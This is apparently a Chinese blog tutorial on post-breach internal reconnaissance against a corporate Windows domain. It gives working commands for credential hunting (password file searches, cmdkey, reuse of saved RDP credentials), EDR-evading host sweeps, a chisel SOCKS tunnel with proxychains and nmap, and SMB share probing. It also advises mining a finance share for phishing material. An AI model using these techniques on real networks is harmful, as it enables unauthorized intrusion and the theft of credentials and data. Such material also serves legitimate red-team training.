内网渗透第一步——信息收集决定了你能走多远

📅 2026/7/7 5:04:13 👁️ 阅读次数 📝 编程学习
内网渗透第一步——信息收集决定了你能走多远

上个月的真实场景

凌晨两点,我拿到了一台边界Web服务器的shell。

目标是一家中型企业的外网门户,一个存在了七八年的老PHP系统。通过一次SQL注入拿到了RDP用户密码,顺利登陆了这台WIndows Server 2012。

习惯性ipconfig看了一眼IP——172.16.1.105,妥妥的内网段。

我心想:"好,挖进去了。但然后呢?"

绝大多数安全从业者都卡在这一步——你突破边界进了内网,但面前是一片纯黑的网络海洋。你不知道旁边有哪些机器,不知道域控在哪,不知道哪些端口开着,更不知道哪些机器等你横向移动。

这一步,叫内网信息收集。90%的内网渗透成败,取决于信息收集做得够不够细。


第一章:为什么要做信息收集?

很多人觉得"我都进去了,直接扫呗"。

但真实场景下:

扫描行为会产生流量 → 可能触发IDS/EDR告警 → 蓝队把你扼杀在内网门口

信息收集的目的不是扫一圈IP列表,而是回答以下几个问题:

  • 我是谁——当前漏洞机的角色、域环境、网络配置
  • 旁边是谁——同一个网段有哪些邻居、网关在哪
  • 目标是谁——域控在哪、文件服务器在哪、数据库在哪
  • 我能去哪——还有哪些网段可以路由到达
  • 怎么不被发现——哪些流量会被监控

这五个问题,前四个回答的是"怎么打",第五个回答的是"怎么活"。


第二章:侦察第一轮——本地信息收集

拿到shell后,我做了这么几件事。

2.1 网络配置摸底

不管Windows还是Linux,第一件事永远是确认网络拓扑:

# Windows必查 ipconfig /all route print netstat -ano arp -a
# Linux必查 ifconfig ip route netstat -tunlp arp -n

为什么要查ARP表?

机器之间的通信只要在同一个二层网络,通信过的IP会短暂留在ARP表里。一个活跃的ARP表,基本就等于"隔壁有人的机器列表"。

我在这台Win Server上看到:

接口: 172.16.1.105 --- 0x0b Internet 地址 物理地址 类型 172.16.1.1 00-50-56-b3-12-aa 动态 ← 网关 172.16.1.10 00-50-56-b3-33-bb 动态 ← 有机器! 172.16.1.20 00-50-56-b3-44-cc 动态 ← 有机器! 172.16.1.50 00-50-56-b3-55-dd 动态 ← 有机器! 172.16.1.100 00-50-56-b3-66-ee 动态 ← 有机器! 172.16.2.15 00-50-56-b3-77-ff 动态 ← 跨网段?!

关键发现:172.16.1/24网段至少有4台活跃机器,而且还有一台172.16.2.15出现在ARP表里——这意味着这台机器的路由表里有通往别的网段的路径,或者这台机器本身是多网卡。

# 验证是否多网卡 ipconfig /all | findstr "IPv4"

果然,这台机器有两块网卡:

IPv4 Address: 172.16.1.105 IPv4 Address: 172.16.2.105

结论:这台机器是通往172.16.2/24的跳板机。大部分内网渗透都从这里开始——找"连接多网段的机器"。

2.2 域环境探测

确认域环境是信息收集中最关键的一步:

# 判断是否加域 systeminfo | findstr "Domain" # 看到的结果 Domain: CORP.LOCAL

看到CORP.LOCAL,心情瞬间上来了——加域的。这意味着存在域控(DC,Domain Controller),整个内网有一套统一的认证体系。

再查域控位置:

# 查当前登陆的域用户 whoami # 结果 corp\zhangwei
# 查域控 nltest /dclget:corp.local

返回:

DC: \\DC01.corp.local IP: 172.16.1.10

域控就在隔壁172.16.1.10——和ARP表上看到的那台机器是同一个IP。

一个重要的经验:拿到域控IP后,不要急着打。先做完整的信息收集,搞清楚域控上跑了什么服务,再做下一步决策。

2.3 本地敏感信息搜索

信息收集不只是看网络拓扑,还包括这台机器本身存储了什么东西:

# Windows - 搜各类密码相关文件 findstr /si password *.xml *.config *.txt *.ini *.bat *.ps1 # 搜Web配置文件 dir /s *.config *.env # 搜RDP连接记录 dir /a cmdkey /list

我在这台机器上找到了一个db_config.bak文件:

[DB_Connection] server=172.16.1.50 database=ERP_MAIN user=sa password=Corp@Admin!2024

又一个目标浮出水面——172.16.1.50,一台SQL Server数据库。

同时,cmdkey /list显示:

当前保存的凭据目标: LegacyGeneric:target=TERMSRV/172.16.1.20 LegacyGeneric:target=TERMSRV/172.16.1.10

这台机器上存了到172.16.1.20和172.16.1.10的RDP凭据!这些凭据在当前用户的Windows凭据管理器里,可以直接用runas /savedcred调用。


第三章:侦察第二轮——横向存活探测

做完本地信息收集,手里已经有几个目标IP了。接下来要做一件事——确认哪些机器真正在线上、哪些端口开放。

3.1 低噪存活探测

第一轮探测不用NMAP,因为NMAP的SYN扫描在很多EDR眼里是既定告警。我推荐两种方式:

# 方式1:利用ARP ping(二层,不产生IP层流量) for /L %i in (1,1,254) do ping -n 1 -w 100 172.16.1.%i | find "TTL="
# 方式2:用powershell Test-NetConnection(速度更快) 1..254 | % { if (Test-Connection -Count 1 -ComputerName "172.16.1.$_" -Quiet) { "172.16.1.$_ is alive"} }

这种方式产生的流量特征和普通Windows机器的网络操作几乎没区别,EDR很难判定是恶意行为。

3.2 端口探测(用代理转发)

探测到存活主机后,不能拿着攻击机直接扫描——攻击机的IP不在内网段,扫不到。

正确做法是建立SOCKS代理转发:

# 在攻击机上执行(通过反弹shell的机器做跳板) # 用frp或chisel建立socks隧道 chisel client <跳板机>:<端口> R:socks

然后在本地配置proxychains:

# /etc/proxychains.conf socks5 127.0.0.1 1080

通过代理进行端口扫描:

proxychains -q nmap -sT -Pn -p 22,80,443,445,3389,3306,1433,8080,8443 \ 172.16.1.10 172.16.1.20 172.16.1.50

扫描结果:

172.16.1.10 → DC01.corp.local PORT STATE SERVICE 53/tcp open domain ← DNS 88/tcp open kerberos ← Kerberos 135/tcp open rpc 139/tcp open netbios 389/tcp open ldap ← LDAP 445/tcp open smb ← SMB 3389/tcp open ms-wbt-server ← RDP 5985/tcp open winrm ← WinRM 172.16.1.20 → CORP-FILE01 PORT STATE SERVICE 135/tcp open rpc 139/tcp open netbios 445/tcp open smb 3389/tcp open ms-wbt-server 172.16.1.50 → CORP-DB01 PORT STATE SERVICE 135/tcp open rpc 1433/tcp open ms-sql-s ← SQL Server 3389/tcp open ms-wbt-server
血的教训:不要在跳板机上直接运行masscan/NMAP的全端口扫描。我曾见过一个红队兄弟,在跳板机上扫全端口被EDR告警,15分钟后蓝队就把他踢下线了。扫常用端口就够了,全端口扫描是给蓝队送业绩。

3.3 SMB共享探测

445端口开着的机器是内网渗透的金矿——SMB共享里往往躺着大量敏感文件:

# 列出目标机器上的所有共享 net view \\172.16.1.20 # 结果 共享名 类型 用途 注释 ------------------------------------------------------------------------------- Backup Disk 备份共享 Data Disk 部门数据 Finance$ Disk 财务数据(隐藏共享) IPC$ IPC 远程 IPC

共享一多,第一个要挂上去的是隐藏共享Finance$

# 尝试访问 dir \\172.16.1.20\Finance$

如果能访问,恭喜你找到金矿了。财务共享里通常有薪资表、对账单,这些在钓鱼邮件和社会工程学里是极好的素材。

如果提示无权限——正常。这时候不要硬来,记下这条共享路径,后续拿到域管权限后再来访问。